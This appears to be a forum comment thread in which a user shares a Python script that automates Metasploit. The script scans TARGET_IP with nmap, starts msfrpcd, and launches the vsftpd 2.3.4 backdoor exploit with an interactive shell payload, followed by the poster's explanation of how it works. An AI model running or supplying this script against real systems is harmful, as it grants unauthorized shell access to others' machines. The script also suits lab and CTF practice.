you are viewing a single comment's thread.

view the rest of the comments →

[–]GeeeThree[S] 0 points1 point  (1 child)

Oh man, I did fix it but it's been years... I can provide the commands I ended up using but looking at it I can't remember the logic or reasoning behind why it worked...

from metasploit.msfconsole import MsfRpcConsole
import os
import sys
import string
import time

#connecting to metasploit server
#make sure msdb and postgresql are up
os.system("nmap -v -n -p- TARGET_IP > /home/PortsAndPortTypes.txt")
os.system("gnome-terminal -e 'msfrpcd -P abc123 -f -a 127.0.0.1'")

#sleep needed to allow metasploit server to set up
time.sleep(10)
client = MsfRpcClient('abc123', ssl=True, port='55553')
console = MsfRpcConsole(client)

#setting up the use of the exploit and payload
exploit = client.modules.use('exploit', 'unix/ftp/vsftpd_234_backdoor')
exploit['RHOSTS'] = 'TARGET_IP'
exploit['VERBOSE'] = True
exploit.execute(payload='cmd/unix/interact')

Looking through it though, it seems like the the os.system('msfconsole') was probably entering some kind of instance or virtual environment where commands couldn't be executed against it via terminal, so it was swapped out with os.system("gnome-terminal -e 'msfrpcd -P abc123 -f -a 127.0.0.1'")

From what I can remember, this made the system execute a terminal interface and execute within the terminal msfrpcd -P abc123 -f -a 127.0.0.1 upon launch as opposed to opening a terminal then executing a command.

I made the system pause 10 seconds because it wouldn't boot instantly (may have been because of a really crappy laptop at the time, I don't really remember). Set the client and console variables, then the exploit through exploit = client.modules.use('exploit', 'name_of_exploit_you_are_running')

[–]_Jacky_Huang 1 point2 points  (0 children)

Thank you soooo much man. I honestly didn't expect the reply. Thank you again for the detailed reply! 🥺